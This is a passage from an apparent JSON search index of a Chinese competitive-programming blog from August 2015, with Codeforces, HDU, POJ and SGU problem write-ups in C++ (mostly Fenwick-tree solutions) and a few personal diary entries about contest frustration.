vector\u003cint\u003e::iterator it; 23 for (it=adj[u].begin();it!=adj[u].end();it++) 24 { 25 dfs(*it,depth+1); 26 } 27 out[u]=now; 28} 29 30int main() 31{ 32 scanf(\"%d %d\",\u0026n,\u0026m); 33 for(int i=2; i\u003c=n; i++) 34 { 35 int a; 36 scanf(\"%d\",\u0026a); 37 adj[a].push_back(i); 38 } 39 scanf(\"%s\", S+1); 40 dfs(1, 1); 41 while(m--) 42 { 43 int v, h; 44 scanf(\"%d %d\",\u0026v,\u0026h); 45 int odd=0; 46 for(int i=0; i\u003c26; i++) 47 { 48 int cnt=upper_bound(occ[h][i].begin(), occ[h][i].end(), out[v])- 49 lower_bound(occ[h][i].begin(), occ[h][i].end(), in[v]); 50 if(cnt%2==1) 51 { 52 odd++; 53 if(odd\u003e1) 54 break; 55 } 56 } 57 if(odd\u003e1) 58 printf(\"No\\n\"); 59 else 60 printf(\"Yes\\n\"); 61 } 62 return 0; 63}","date":"2015-08-14","externalUrl":null,"permalink":"/2015/08/codeforces570d-treerequestsdfs/","section":"Posts","summary":"因为字母的排列顺序是任意的,所以判断能否形成回文串的条件就成了出现次数为奇数的字母的个数是否大于1个,如果是,那么一定不能形成回文串,否则一定可以.","tags":["dfs序"],"title":"codeforces 570 D. Tree Requests (dfs序)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-14","externalUrl":null,"permalink":"/2015/08/poj2157mazebfs/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"poj 2157 Maze (bfs)","type":"post"},{"categories":["ACM"],"content":"C. Replacement time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Daniel has a string s, consisting of lowercase English letters and period signs (characters ‘.’). Let’s define the operation of replacement as the following sequence of steps: find a substring “..” (two consecutive periods) in string s, of all occurrences of the substring let’s choose the first one, and replace this substring with string “.”. In other words, during the replacement operation, the first two consecutive periods are replaced by one. If string s contains no two consecutive periods, then nothing happens. Let’s define f(s) as the minimum number of operations of replacement to perform, so that the string does not have any two consecutive periods left. You need to process m queries, the i-th results in that the character at position x__i (1 ≤ x__i ≤ n) of string s is assigned value c__i. After each operation you have to calculate and output the value of f(s). Help Daniel to process all queries. Input The first line contains two integers n and m (1 ≤ n, m ≤ 300 000) the length of the string and the number of queries. The second line contains string s, consisting of n lowercase English letters and period signs. The following m lines contain the descriptions of queries. The i-th line contains integer x__i and_c__i_ (1 ≤ x__i ≤ n, c__i – a lowercas English letter or a period sign), describing the query of assigning symbol c__i to position x__i. Output Print m numbers, one per line, the i-th of these numbers must be equal to the value of f(s)after performing the i-th assignment. Sample test(s) input 110 3 2.b..bz.... 31 h 43 c 59 f output 14 23 31 input 14 4 2.cc. 32 . 43 . 52 a 61 a output 11 23 31 41 Note Note to the first sample test (replac","date":"2015-08-13","externalUrl":null,"permalink":"/2015/08/cf570c-replacement/","section":"Posts","summary":"C. Replacement time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Daniel has a string s, consisting of lowercase English letters and period signs (characters ‘.’). Let’s define the operation of replacement as the following sequence of steps: find a substring “..” (two consecutive periods) in string s, of all occurrences of the substring let’s choose the first one, and replace this substring with string “.”. In other words, during the replacement operation, the first two consecutive periods are replaced by one. If string s contains no two consecutive periods, then nothing happens.","tags":["算法竞赛"],"title":"cf 570 C. Replacement (暴力)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-13","externalUrl":null,"permalink":"/2015/08/cf570bb-simplegame/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"cf 570B B. Simple Game(构造)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-13","externalUrl":null,"permalink":"/2015/08/cf570a-elections/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"cf 570 A. Elections","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-13","externalUrl":null,"permalink":"/2015/08/hdu1429bfs/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 1429胜利大逃亡(续) (bfs+状态压缩)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-12","externalUrl":null,"permalink":"/2015/08/fibonaccinumbersratiothehardversion/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"Fibonacci number’s ratio (the hard version)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-12","externalUrl":null,"permalink":"/2015/08/cf569b-inventory/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"cf 569B. Inventory （模拟？）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-12","externalUrl":null,"permalink":"/2015/08/cf569a-music/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"cf 569A. Music (暴力)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-11","externalUrl":null,"permalink":"/2015/08/lightoj1066-gatheringfoodbfs/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"light oj 1066- Gathering Food (bfs)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-11","externalUrl":null,"permalink":"/2015/08/hdu4630nopainnogame/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 4630 No Pain No Game(树状数组）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-09","externalUrl":null,"permalink":"/2015/08/whust0-2jjailbreakac/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"whust #0.2 J Jailbreak (未AC)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-09","externalUrl":null,"permalink":"/2015/08/whust0-2iincognito/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"whust #0.2 I Incognito","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-09","externalUrl":null,"permalink":"/2015/08/whust0-1i-laughingoutloud/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"whust #0.1 I - Laughing Out Loud","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-09","externalUrl":null,"permalink":"/2015/08/hdu5365bc501002run/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 5365 (bc #50 1002 )Run","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-09","externalUrl":null,"permalink":"/2015/08/hdu5366bc501003themookjong/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 5366 (bc #50 1003)  The mook jong","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-09","externalUrl":null,"permalink":"/2015/08/hdu5364bc501001distributionmoney/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 5364 (bc#50 1001)  Distribution money","type":"post"},{"categories":["ACM"],"content":"啊啊啊，为什么这么弱 啥都不会呜呜呜 肿么办肿么办肿么办 不会的好多啊。。。。。 啊啊啊","date":"2015-08-07","externalUrl":null,"permalink":"/2015/08/%e5%95%a5%e9%83%bd%e4%b8%8d%e4%bc%9a%e8%82%bf%e4%b9%88%e5%8a%9e/","section":"Posts","summary":"啊啊啊，为什么这么弱 啥都不会呜呜呜 肿么办肿么办肿么办 不会的好多啊。。。。。","tags":["算法竞赛"],"title":"啥都不会肿么办","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-07","externalUrl":null,"permalink":"/2015/08/hdu3874necklace/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 3874 Necklace (树状数组+离线操作)","type":"post"},{"categories":["ACM"],"content":"# 题目链接 喵呜，离散树状数组。 这道题由于相同的值加和的时候只算一次，所以比较伤脑筋== 怎么办呢？ 我们发现对于一个值，由于相同的只算一次，所以在任意时间内，这个值只需要出现一次。 如果我们从作往右将原数组更新到树状数组，如果某个值之前出现过，那么我在更新当前的时候，还需要删掉之前那个。 这样就可以保证当前的序列中一个值只出现了一次，而且位置更新成最后出现的位置。 如果只出现一次的话那就又是我们喜闻乐见的那个熟悉的树状数组了呢 喵呜！ 但是这样删掉前面出现的元素真心大丈夫？ 万一之后又查询了之前你删掉的点岂不是整个人都萌萌哒了？ 所以我们可以按照查询区间的又断点排序，保证前面删掉的点以后不会再被查询。 也就是按照顺序，从左往右，边查询，边更新原数组到树状数组。 由于查询区间是无序的，按照右端点排序之后打乱了原来的查询顺序，所以要离线操作。 由于查询区间是无序的，按照右端点排序之后打乱了原来的查询顺序，所以要离线操作。 由于查询区间是无序的，按照右端点排序之后打乱了原来的查询顺序，所以要离线操作。 ** **重要的事情说三遍。 所谓离线操作，就是查询的时候不直接输出答案，而是将答案存起来，然后最后一起输出。 我们需要开一个数组pre [x] 记录x这个数的上一个位置，初始为-1 由 x的范围太大，数组存不下，所以要离散化。 离散化是为了记录一个数上次出现的位置！ 注意要开LL 。 1/************************************************************************* 2 \u003e File Name: code/hdu/3333.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月07日 星期五 17时04分07秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=3E4+3; 32LL c[N]; 33LL n,m,qur; 34LL ref[N]; 35LL pre[N]; 36LL ori[N]; 37struct Q 38{ 39 LL val,id; 40}q[N]; 41 42struct S 43{ 44 LL x,y; 45 LL id,ans; 46}s[100005]; 47 48bool cmp( Q a,Q b) 49{ 50 if (a.val\u003cb.val) return true; 51 return false; 52} 53bool cmp2(S a,S b) 54{ 55 if (a.y\u003cb.y) return true; 56 return false; 57} 58 59LL lowbit ( int x) 60{ 61 return x\u0026(-x); 62} 63 64voi","date":"2015-08-07","externalUrl":null,"permalink":"/2015/08/hdu3333/","section":"Posts","summary":"# 题目链接","tags":["树状数组","线段树"],"title":"hdu 3333 Turing Tree (求区间中不相同数的和，离线+线段树/树状数组)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-07","externalUrl":null,"permalink":"/2015/08/201551007mzlssimpleproblem/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"2015 多校 #5 1007 MZL's simple problem","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-07","externalUrl":null,"permalink":"/2015/08/201551005mzlschemistry/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"2015 多校 #5 1005 MZL's chemistry","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-07","externalUrl":null,"permalink":"/2015/08/201551002mzlsxor/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"2015多校 #5 1002 MZL's xor","type":"post"},{"categories":["ACM"],"content":"树状数组，更新区间，查询单点，区别是加了一个a%k==0的条件限制…. 我们观察到k很小，于是按照k分类…. 每一类再按照余数分类，一共55棵树（1+2+3+…+10） 然后写完交上去，竟然MLE了。。。 13×1350007 我一开始也想到了是开大了。。。然后改成了111150004，结果还是mle.. 然后我就把代码贴到群里问了。。。。 然后就被打脸了。。。 被这顿嘲讽啊。。。 由于我的vim不知道什么原因，要复制两次才能复制上去。。。 就是说，改成了111150004的代码并没有提交上去，第二次mle还是1313*50007。。 不过也算一个经验：对于低维度（一维）数组，稍微开大点对空间影响不会很大… 但是高维，稍微开大一点，就会极大的影响空间….因为是乘起来的。 因为之前很少遇到高维，而且数组比较大的情况，所以没有太注意。 也说明把数组开大一点就好，一点点。 代码是按照hdu 4267 写的 poj 3468和这个差不多，就是读入顺序和op的写法不太一样。 另：某博客看到的tips，虽然我也知道这个，但我觉得他表达得比较清楚… Tips： 树状数组的优势是方便动态求值和更新.. 可惜树状数组是单点更新 倒是有个方法可以快速成段更新 就是在区间【a, b】内更新+x就在a的位置+x 然后在b+1的位置-x 求某点a的值就是求数组中1~a的和.. 可惜这道题还不是成段更新..而是隔开几个数来更新.. 所以就可以多建几棵树..然后就可以转换为成段更新了~~ 1 2/****....********************************************************************* 3 \u003e File Name: code/hdu/4267.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: 2015年08月07日 星期五 14时27分58秒 7 ************************************************************************/ 8 9#include\u003ciostream\u003e 10#include\u003ciomanip\u003e 11#include\u003ccstdio\u003e 12#include\u003calgorithm\u003e 13#include\u003ccmath\u003e 14#include\u003ccstring\u003e 15#include\u003cstring\u003e 16#include\u003cmap\u003e 17#include\u003cset\u003e 18#include\u003cqueue\u003e 19#include\u003cvector\u003e 20#include\u003cstack\u003e 21#define y0 abc111qqz 22#define y1 hust111qqz 23#define yn hez111qqz 24#define j1 cute111qqz 25#define tm crazy111qqz 26#define lr dying111qqz 27using namespace std; 28#define REP(i, n) for (int i=0;i\u003cint(n);++i) 29typedef long long LL; 30typedef unsigned long long ULL; 31const int inf = 0x7fffffff; 32const int N=5E4+3; 33int c[N][11][11]; 34int a[N]; 35int n,m,k,del,x,q,y; 36bool flag; 37int lowbit( int x) 38{ 39 return x\u0026(-x); 40} 41void update ( int a,int b,int x, int delta) 42{ 43 for ( int i = x; i \u003c= n ; i = i + lowbit (i)) 44 { 45 c[i][a][b] += delta; 46 } 47} 48int sum ( int a,int b,int x) 49{ 50 int res = 0; 51 for ( int i = x; i \u003e= 1","date":"2015-08-07","externalUrl":null,"permalink":"/2015/08/hdu4267/","section":"Posts","summary":"树状数组，更新区间，查询单点，区别是加了一个a%k==0的条件限制…. 我们观察到k很小，于是按照k分类…. 每一类再按照余数分类，一共55棵树（1+2+3+…+10）","tags":["算法竞赛"],"title":"hdu 4267/poj 3468  A Simple Problem with Integers （分状态的树状数组）","type":"post"},{"categories":["ACM"],"content":"# 三维树状数组 容斥那里注意一下。 多组数据因为忘记清空c数组而wa了1次，细心！ 1/************************************************************************* 2 \u003e File Name: code/hdu/3584.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月07日 星期五 14时01分53秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=1E2+5; 32int c[N][N][N]; 33int n,m; 34int x1,y1,z1,x2,y2,z2; 35int lowbit( int x) 36{ 37 return x\u0026(-x); 38} 39void update ( int x,int y,int z,int delta) 40{ 41 for ( int i = x; i \u003c= n ; i = i + lowbit(i)) 42 { 43 for ( int j = y ; j \u003c= n ; j = j + lowbit(j)) 44 { 45 for ( int k = z ; k \u003c= n ; k = k + lowbit(k)) 46 { 47 c[i][j][k] += delta; 48 } 49 } 50 } 51} 52 53int sum (int x,int y,int z) 54{ 55 int res = 0; 56 for ( int i = x; i \u003e= 1 ; i -= lowbit(i)) 57 { 58 for ( int j = y ; j \u003e= 1 ; j -= lowbit(j)) 59 { 60 for ( int k = z ; k \u003e= 1 ; k -= lowbit(k)) 61 { 62 res = res + c[i][j][k]; 63 } 64 } 65 } 66 return res; 67} 68int main() 69{ 70 int op; 71 while (scanf(\"%d %d\",\u0026n,\u0026m)!=EOF) 72 { 73 memset(c,0,sizeof(c)); 74 for ( int i = 1 ; i \u003c= m ; i ++ ) 75 { 76 scanf(\"%d\",\u0026op); 77 if (op) 78 { 79 scanf(\"%d %d %d %d %d %d\",\u0026x1,\u0026y1,\u0026z1,\u0026x2,\u0026y2,\u0026z2); 80 update (x1,y1,z1,1); 81 update (x1,y1,z2+1,1); 82 update (x1,y2+1,z1,1); 83 updat","date":"2015-08-07","externalUrl":null,"permalink":"/2015/08/hdu3584/","section":"Posts","summary":"# 三维树状数组","tags":["树状数组"],"title":"hdu 3584 Cube  （三维树状数组，更新区间，查询单点）","type":"post"},{"categories":["ACM"],"content":"1 和上一道类似，也是更新区间，查询单点。 用到了容斥原理。 1/************************************************************************* 2 \u003e File Name: code/poj/2155.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月07日 星期五 00时42分38秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=1E3+7; 32int c[N][N]; 33int n,m,x1,x2,y1,y2,x,y,t; 34 35int lowbit ( int x) 36{ 37 return x\u0026(-x); 38} 39void update ( int x,int y ,int delta) 40{ 41 for ( int i = x ; i \u003c= n ; i = i + lowbit(i)) 42 { 43 for ( int j = y; j \u003c= n ; j = j + lowbit(j)) 44 { 45 c[i][j] = c[i][j] + delta; 46 } 47 } 48} 49int sum ( int x,int y) 50{ 51 int res = 0; 52 for ( int i = x; i \u003e= 1 ; i = i - lowbit (i)) 53 { 54 for ( int j = y ; j \u003e= 1 ; j = j - lowbit (j)) 55 { 56 57 res = res + c[i][j]; 58 } 59 } 60 return res; 61} 62int main() 63{ 64 int T; 65 cin\u003e\u003eT; 66 while (T--) 67 { 68 memset(c,0,sizeof(c)); 69 scanf(\"%d %d\",\u0026n,\u0026t); 70 for ( int i = 1; i \u003c= t; i ++ ) 71 { 72 char cmd; 73 cin\u003e\u003ecmd; 74 if (cmd=='C') 75 { 76 scanf(\"%d %d %d %d\",\u0026x1,\u0026y1,\u0026x2,\u0026y2); 77// cout\u003c\u003c\"*******\"\u003c\u003cc[2][1]\u003c\u003c\" \"\u003c\u003cc[2][2]\u003c\u003cendl; 78 update (x1,y1,1); 79 update (x2+1,y1,1); 80 update (x1,y2+1,1); 81 update (x2+1,y2+1,1); 82// cout\u003c\u003c\"*******\"\u003c\u003cc[2][1]\u003c\u003c\" \"\u003c\u003cc[2][2]\u003c\u003cendl; 83 } 84 else ","date":"2015-08-06","externalUrl":null,"permalink":"/2015/08/poj2155/","section":"Posts","summary":"1 和上一道类似，也是更新区间，查询单点。 用到了容斥原理。 1/************************************************************************* 2 \u003e File Name: code/poj/2155.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月07日 星期五 00时42分38秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=1E3+7; 32int c[N][N]; 33int n,m,x1,x2,y1,y2,x,y,t; 34 35int lowbit ( int x) 36{ 37 return x\u0026(-x); 38} 39void update ( int x,int y ,int delta) 40{ 41 for ( int i = x ; i \u003c= n ; i = i + lowbit(i)) 42 { 43 for ( int j = y; j \u003c= n ; j = j + lowbit(j)) 44 { 45 c[i][j] = c[i][j] + delta; 46 } 47 } 48} 49int sum ( int x,int y) 50{ 51 int res = 0; 52 for ( int i = x; i \u003e= 1 ; i = i - lowbit (i)) 53 { 54 for ( int j = y ; j \u003e= 1 ; j = j - lowbit (j)) 55 { 56 57 res = res + c[i][j]; 58 } 59 } 60 return res; 61} 62int main() 63{ 64 int T; 65 cin\u003e\u003eT; 66 while (T--) 67 { 68 memset(c,0,sizeof(c)); 69 scanf(\"%d %d\",\u0026n,\u0026t); 70 for ( int i = 1; i \u003c= t; i ++ ) 71 { 72 char cmd; 73 cin\u003e\u003ecmd; 74 if (cmd=='C') 75 { 76 scanf(\"%d %d %d %d\",\u0026x1,\u0026y1,\u0026x2,\u0026y2); 77// cout\u003c\u003c\"*******\"\u003c\u003cc[2][1]\u003c\u003c\" \"\u003c\u003cc[2][2]\u003c\u003cendl; 78 update (x1,y1,1); 79 update (x2+1,y1,1); 80 update (x1,y2+1,1); 81 update (x2+1,y2+1,1); 82// cout\u003c\u003c\"*******\"\u003c\u003cc[2][1]\u003c\u003c\" \"\u003c\u003cc[2][2]\u003c\u003cendl; 83 } 84 else 85 { 86 scanf(\"%d %d\",\u0026x,\u0026y); 87 int tmp; 88// cout\u003c\u003c\"sum(x)(y):\"\u003c\u003csum(x,y)\u003c\u003cendl; 89// cout\u003c\u003c\"sum(x-1,y-1):\"\u003c\u003csum(x-1,y-1)\u003c\u003cendl; 90// cout\u003c\u003c\"sum(x-1,y):\"\u003c\u003csum(x-1,y)\u003c\u003cendl; 91// cout\u003c\u003c\"sum(x,y-1):\"\u003c\u003csum(x,y-1)\u003c\u003cendl; 92 tmp =sum(x,y)+sum(x-1,y-1)-sum(x-1,y)-sum(x,y-1); 93// cout\u003c\u003c\"tmp:\"\u003c\u003ctmp\u003c\u003cendl; 94 if (sum(x,y)%2==0) 95 cout\u003c\u003c0\u003c\u003cendl; 96 else cout\u003c\u003c1\u003c\u003cendl; 97 } 98// cout\u003c\u003c\"*****************\"\u003c\u003cendl; 99// for ( int ii = 1 ; ii \u003c= n ; ii++) 100// { 101// for ( int jj = 1 ; jj \u003c= n ; jj++ ) 102// { 103// cout\u003c\u003cc[ii][jj]\u003c\u003c\" \"; 104// } 105// cout\u003c\u003cendl; 106// } 107// cout\u003c\u003c\"*************************\"\u003c\u003cendl; 108// 109 } 110 cout\u003c\u003cendl; 111 } 112 113 return 0; 114}","tags":["树状数组"],"title":"poj 2155- Matrix (树状数组，二维，更新区间，查询单点)","type":"post"},{"categories":["ACM"],"content":"这道题和之前做的树状数组略有不同。 以前的都是更新单点，查询区间，这次反了过来。 做法差不多。 如果更新区间【x,y】增加１ 那么只要 update (x,1),update (y+1,-1) 问单点的时候，sum(i)就是i点的值，而不是1..i的和。 可以看做告诉公路收费口的比喻，update (x,1)相当于入口 update (y+1,-1)相当于出口。 而sum(i)就相当于被几个告诉公路穿过，或者说i点属于几个高速公路，所以是求和 还记得noip2012的时候在tyvj上遇到了一道线段数的题，被＠Ocean　海洋兄用了一个高速公路的神奇比喻解法A掉了。 现在回想，原来是用了树状数组。 1/************************************************************************* 2 \u003e File Name: code/hdu/1556.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月07日 星期五 01时56分51秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=1E6+7; 32 33int n; 34int c[N]; 35int lowbit( int x) 36{ 37 return x\u0026(-x); 38} 39void update ( int x,int delta) 40{ 41 for ( int i = x; i \u003c= N ; i = i + lowbit (i)) 42 { 43 c[i] = c[i] + delta; 44 } 45} 46int sum ( int x) 47{ 48 int res = 0; 49 for ( int i = x ; i \u003e= 1 ; i = i - lowbit (i)) 50 { 51 res = res + c[i]; 52 } 53 return res; 54} 55int main() 56{ 57 while (scanf(\"%d\",\u0026n)!=EOF \u0026\u0026 n) 58 { 59 memset(c,0,sizeof(c)); 60 for ( int i = 1; i \u003c= n ; i ++) 61 { 62 int a,b; 63 scanf(\"%d %d\",\u0026a,\u0026b); 64 update (a,1); 65 update (b+1,-1); 66 } 67 cout\u003c\u003csum(1); 68 for ( int i = 2 ; i \u003c= n ; i ++) 69 { 70 cout\u003c\u003c\" \"\u003c\u003csum(i); //sum(i) 就是位置i的值，而不是和， 71 //因为update 并没有更新区间，而是做了一个标记，具体可","date":"2015-08-06","externalUrl":null,"permalink":"/2015/08/hdu1556/","section":"Posts","summary":"这道题和之前做的树状数组略有不同。 以前的都是更新单点，查询区间，这次反了过来。","tags":["树状数组"],"title":"hdu 1556Color the ball （树状数组，更新区间，查询单点）","type":"post"},{"categories":["ACM"],"content":"Inversions **Time Limit:**250MS **Memory Limit:**4096KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description 180. Inversions # time limit per test: 0.25 sec. memory limit per test: 4096 KB input: standard output: standard There are N integers (1\u003c=N\u003c=65537) A1, A2,.. AN (0\u003c=Ai\u003c=10^9). You need to find amount of such pairs (i, j) that 1\u003c=iA[j]. Input The first line of the input contains the number N. The second line contains N numbers A1…AN. Output Write amount of such pairs. Sample test(s) Input 5 2 3 1 5 4 Output 3 一直wa 2 后来发现是没处理相同元素（我好傻逼啊。。。。） 离散化的时候，很重要的一项，当然是相同的元素，离散化的之后也要变成相同的。。。 上道题过了纯粹是数据水。。。 1/************************************************************************* 2 \u003e File Name: code/sgu/180.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月06日 星期四 16时40分53秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=7E4+7; 32struct Q 33{ 34 int val; 35 int id; 36}q[N]; 37int c[N]; 38int ref[N]; 39int n; 40bool cmp(Q a,Q b) 41{ 42 if (a.val\u003cb.val) 43 return true; 44 return false; 45} 46 47int lowbit( int x) 48{ 49 return x\u0026(-x); 50} 51void update( int x,int delta) 52{ 53 for ( int i = x; i \u003c N ; i=i+lowbit(i) ) 54 { 55 c[i] = c[i] + delta; 56 } 57} 58int Sum( int x) 59{ 60 int res =0;","date":"2015-08-06","externalUrl":null,"permalink":"/2015/08/sgu180/","section":"Posts","summary":"Inversions **Time Limit:**250MS **Memory Limit:**4096KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description 180. Inversions # time limit per test: 0.25 sec. memory limit per test: 4096 KB","tags":["树状数组","离散化"],"title":"sgu 180 - Inversions （离散化+树状数组）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-06","externalUrl":null,"permalink":"/2015/08/poj1195mobilephones/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"poj 1195 Mobile phones （二维树状数组）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-08-06","externalUrl":null,"permalink":"/2015/08/cf567c-geometricprogression/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"cf 567 C. Geometric Progression","type":"post"},{"categories":["ACM"],"content":"依然对算法，对acm充满热情。 只是比赛，组队赛。 心里满满的都是阴影，再也没有什么热情与感动。 连起队名这种事情我都不愿意想了。 起得再棒有什么用。 pacedect 这名字。 说起来好像有一个学期没和某妹子说话了。。。。。。。。 sssssad. 真是是坟墓般的荒芜 不是痛，只是不允许任何人触碰2333 算了，自己开心就好 我发现，当我刷题，当我学习新算法，打比赛就算被虐，我也是开心的。 可是如果是组队赛，就会想起pacedect 的那些美好与痛苦，想起恩怨情仇… 所以那段时间不搞acm，完全不记得这些，我也是开心的。 组队什么的随它去吧。 真的真的无所谓。 我是真的怕了，怕投入太多感情，到头来却…….. 所以说acm要是一个人的比赛就好了呢。 晚安。","date":"2015-08-05","externalUrl":null,"permalink":"/2015/08/sssssad/","section":"Posts","summary":"依然对算法，对acm充满热情。 只是比赛，组队赛。 心里满满的都是阴影，再也没有什么热情与感动。","tags":["算法竞赛"],"title":"sssssad","type":"post"},{"categories":["ACM"],"content":"给出一个图书馆人员进出情况，问图书馆满足题意的最小容量是多少。 注意在初始之前图书馆里面可能就有人了，也就是说不是所有进入图书馆的人都会被给出。 我的做法是先统计出图书馆里面初始的人数，开一个布尔数组，初始全为false,如果一个人标记为 false 而且从 图书馆里出来了，就说明这个人初始是在图书馆里的。 然后就正常模拟，图书馆的人数由初始的和后来的两部分组成。 1/************************************************************************* 2 \u003e File Name: code/cf/#314/B.cpp 3 \u003e Author: 